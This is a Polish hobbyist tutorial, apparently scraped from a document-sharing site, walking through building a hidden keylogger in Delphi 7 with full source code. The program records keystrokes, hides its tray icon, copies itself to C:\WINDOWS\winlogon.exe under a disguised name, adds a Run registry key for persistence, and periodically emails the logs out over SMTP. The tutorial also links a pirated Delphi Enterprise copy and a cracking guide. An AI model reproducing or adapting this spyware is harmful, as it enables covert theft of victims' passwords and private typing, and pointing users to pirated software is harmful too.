prosty keylogger

Łatwy Keylogger w Delphi7

1.

Witam. To mój pierwszy art.

Wiele czytałem artykułów o keyloggerach, ale nic z tego nie rozumiałem albo nie było linków do komponentów oraz były błędy i niedomówienia. Postanowiłem napisać art. w którym będzie opisane wszystko po koleji. A więc do robotyr30;

2.

Co będzie potrzebne:

- Delphi 7 (Personal, ale lepiej było by mieć Enterprise) oto link od D7 Ent. :

http://www.eblogs.pl/kmll/Delphi_ent.rar

- By zalegalizować Delphi Ent. postępujcie zgodnie z instrukcjami na:

http://hackme.pl/forum/viewthread.html?forum_id=4&thread_id=8996

(to jest na wersje personale ale na ent. też działa)

- komponenty:

KeySpyXP - http://kupa.info/hackme/download/delphi/komponenty/KeySpyXP%20komponent%20i%20progs.rar

Cooltray - http://kupa.info/hackme/download/delphi/komponenty/cooltray%20komponent.rar

- Indy 9.0.19 - http://downloads.atozedsoftware.com/indy/indy9.0.19_d7.exe

No i to wszystko.

3.Wklejamy kod.

Na początek na forme wkładamy komponenty:

TMemo (name:memo1) z zakładki Standard

2X TTimer (name:timer1, name:timer2) z zakładki System

TKeySpyXP (name:keyspyxp1) z zakładki System

TCoolTrayIcon (name:CoolTrayIcon1) z zakładki Custom

IdMessage (name:IdMessage1) z zakładki Indy Misc

IdAntiFreeze (name:IdAntiFreeze1) z zakładki Indy Misc

IdSMTP (name;IdSMTP1) z zakładki Indy Clients

Teraz tak, klikamy 2 razy na memo1 później klikamy 2 razy na timer1

i wklejamy kod:

IdSMTP1.Host:= 'smtp.wp.pl';

IdSMTP1.Username:= 'użytkownik ';

IdSMTP1.Password:= 'hasło';

IdSMTP1.AuthenticationType:= atLogin;

IdMessage1.Clear;

IdSMTP1.Connect;

IdMessage1.From.Address:= 'nadawca@wp.pl';

IdMessage1.Recipients.EMailAddresses:= 'nadawca@wp.pl';

IdMessage1.Subject:= 'Temat wiadomości(np.:KeyLogger)';

IdMessage1.Body.Append(memo1.Text);TIdAttachment.Create(IdMessage1.MessageParts, 'C:\logi.txt');

IdSMTP1.Send(IdMessage1);

IdSMTP1.Disconnect;

Nie wiem co powiedzieć o tym kawałku, ale najlepiej wysyłać logi i odbierać je na tym samym e-mailu i według mnie najlepiej założyć konto na http://www.wp.pl tak jak to opisałem.

No i jeszcze ta linijka:

IdMessage1.Body.Append(memo1.Text);TIdAttachment.Create(IdMessage1.MessageParts, 'C:\logi.txt');

Odpowiada za wysyłanie pliku *.txt z majlem (jako załącznik)

Teraz klikamy 2 razy na timer2 i wklejamy kodzik:

var

INI : TINIFile;

begin

INI := TINIFile.Create('C:\logi.txt');

try

INI.WriteString('Klucz01', 'KEYSPY', memo1.Text);

finally

INI.Free;

end;

end;

Ten kod zapisuje logi na dysku twardym w formacie *.txt ale możemy to zmienić, ale musimy zmienić też ścieżkę do załącznika.

Teraz klikamy 2 razy na komponent KeySpyXp1 i wklejamy kod:

if key[1]='{' then

memo1.lines.add(key) else

memo1.Text:=memo1.text+key;

Odpowiada to za wypisywanie do memo1 kliknięć przycisków myszy i klawiatury.

Teraz klikamy na CoolTrayIcon1 i w Object Inspektor w zakładce Properties klikamy na:

StartMinimize: False

ShowHint: False

MinimizeToTray: False

IconVisible: False

No to tyle, nasz program jest niewidoczny. Jeszcze powiem że komponent IdAntiFreeze1 odpowiada za to by nasz KeyLogger nie zacinał się, a IdSMTP i IdMessage odpowiadają za wysyłanie wiadomości na pocztę. No i zapomniał bym o najważniejszym, a mianowicie klikamy na Fotm1 i w Object Inspektor w zakładce Events klikamy na zdażenie OnCreate i w miejsce gdzie nas przeniesie wklejamy kod:

var

Rejestr: TRegistry;

begin

Rejestr:=TRegistry.Create;

Rejestr.RootKey:=(HKEY_CURRENT_USER);

Rejestr.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run\',True);

Rejestr.WriteString(Nazwa jaka wyświetlać w Menadżerze Zadań np.winlogon', 'C:\folder\nazwa pliku.exe'); // ścieżka do keyloggera

copyfile(pchar(paramstr(0)),pchar('C:\folder\nazwa.exe'),true); // odpowiada za kopiowanie keyloggera do folderu

Ten kodzik umożliwia start keyloggera przy starcie systemu ;];];]

No i możecie jeszcze doklejać różne kody by ukryć programik ale pamiętajcie, że wszystko zajmue miejsce.

Teraz możemy kliknąć Shift+Ctrl+F11 i w zakładce application ustawić ikonte (jak zawsze ustawiam ikonkę 16x16 pustą by jak najmniej miejsca zabierał programik).Teraz możemy zapisać sobie keyloggera np.: winlogon. Jeszcze do USES wklejamy to:

INIFiles, Registry,

i możemy kliknąć Build All Project.

Wszystko powinno wyglądać mniej więcej tak:

unit keyspy;

interface

uses

Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,

Dialogs, CoolTrayIcon, KeySpyXP, ExtCtrls, INIFiles, StdCtrls, Registry, IdSocks,

IdComponent, IdTCPConnection, IdTCPClient, IdMessageClient, IdSMTP,

IdAntiFreezeBase, IdAntiFreeze, IdBaseComponent, IdMessage;

type

TForm1 = class(TForm)

Timer1: TTimer;

memo1: TMemo;

IdAntiFreeze1: TIdAntiFreeze;

IdSMTP1: TIdSMTP;

IdMessage1: TIdMessage;

Timer2: TTimer;

KeySpyXP1: TKeySpyXP;

CoolTrayIcon1: TCoolTrayIcon;

procedure KeySpyXP1Key(Sender: TObject; key: String);

procedure FormCreate(Sender: TObject);

procedure Timer1Timer(Sender: TObject);

procedure Timer2Timer(Sender: TObject);

procedure memo1Change(Sender: TObject);

procedure IdSMTP1Connected(Sender: TObject);

procedure IdMessage1InitializeISO(var VTransferHeader: TTransfer;

var VHeaderEncoding: Char; var VCharSet: String);

procedure CoolTrayIcon1Click(Sender: TObject);

private

{ Private declarations }

public

{ Public declarations }

end;

var

Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.KeySpyXP1Key(Sender: TObject; key: String);

begin

if key[1]='{' then

memo1.lines.add(key) else

memo1.Text:=memo1.text+key;

end;

procedure TForm1.FormCreate(Sender: TObject);

var

Rejestr: TRegistry;

begin

Rejestr:=TRegistry.Create;

Rejestr.RootKey:=(HKEY_CURRENT_USER);

Rejestr.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run\',True);

Rejestr.WriteString('winlogon', 'C:\WINDOWS\winlogon.exe');

copyfile(pchar(paramstr(0)),pchar('C:\WINDOWS\winlogon.exe'),true);

end;

procedure TForm1.Timer1Timer(Sender: TObject);

begin

IdSMTP1.Host:= 'smtp.wp.pl';

IdSMTP1.Username:= 'login';

IdSMTP1.Password:= 'hasło';

IdSMTP1.AuthenticationType:= atLogin;

IdMessage1.Clear;

IdSMTP1.Connect;

IdMessage1.From.Address:= 'odbiorca@wp.pl';

IdMessage1.Recipients.EMailAddresses:= 'odbiorca@wp.pl';

IdMessage1.Subject:= 'KeyLogger';

IdMessage1.Body.Append(memo1.Text);

TIdAttachment.Create(IdMessage1.MessageParts, 'C:\WINDOWS\winogon.txt');

IdSMTP1.Send(IdMessage1);

IdSMTP1.Disconnect;

end;

procedure TForm1.Timer2Timer(Sender: TObject);

var

INI : TINIFile;

begin

INI := TINIFile.Create('C:\WINDOWS\winogon.txt');

try

INI.WriteString('Klucz01', 'KEYSPY', memo1.Text);

finally

INI.Free;

end;

end;

procedure TForm1.memo1Change(Sender: TObject);

begin

end;

procedure TForm1.IdSMTP1Connected(Sender: TObject);

begin

end;

procedure TForm1.IdMessage1InitializeISO(var VTransferHeader: TTransfer;

var VHeaderEncoding: Char; var VCharSet: String);

begin

end;

procedure TForm1.CoolTrayIcon1Click(Sender: TObject);

begin

end;

end.


Wyszukiwarka

Podobne podstrony:
8a Syntezy prostych aminokwasów
Prezentacja prostytucja
3 Stateczność prętów prostych, Postaci utraty stateczności, określanie siły krytycznej ppt
Jak zrobić prosty trik z wodą
Prosty interkom
prosty minutnik
7 prostych sposobów na podrasowanie Twojego CV, szukanie pracy
Prostytucja, PSYCHOLOGIA, Zachowania dewiacyjne, przestępczość
kąt prosty
,matematyka finansowa, wzory i zadania Rachunek odsetek prostych
Zmienne i operacje typow prosty Nieznany
Jak w prosty sposób zapisać przebieg reakcji chemicznych
Instalowanie urządzeń automatyki i obsługa prostych układów automatycznej regulacji
prostych i przegubo = wych wy Nieznany
Kochański P, Kortyka P Sposoby rozwiązywania prostych równań różniczkowych zwyczajnych
Prostytucja, Pedagogika Resocjalizacyjna, Fiszki z patologii
prostytucja, PSYCHOLOGIA, prostytucja
PROSTY CZŁOWIEK, J. Kaczmarski - teksty i akordy

więcej podobnych podstron